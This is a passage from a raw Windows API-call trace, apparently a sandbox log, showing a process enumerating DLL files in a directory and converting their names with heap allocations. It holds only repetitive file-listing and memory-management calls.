ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.745] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.745] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.745] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.746] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.746] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.746] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xb3c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.746] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.746] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0241.746] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xb3c310, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.747] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xb3c1a8, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.747] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xb3c310, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.747] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.747] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xb3c1a8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0241.747] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.748] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xb3c310, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.748] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.748] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c310, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.748] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.748] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.748] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, 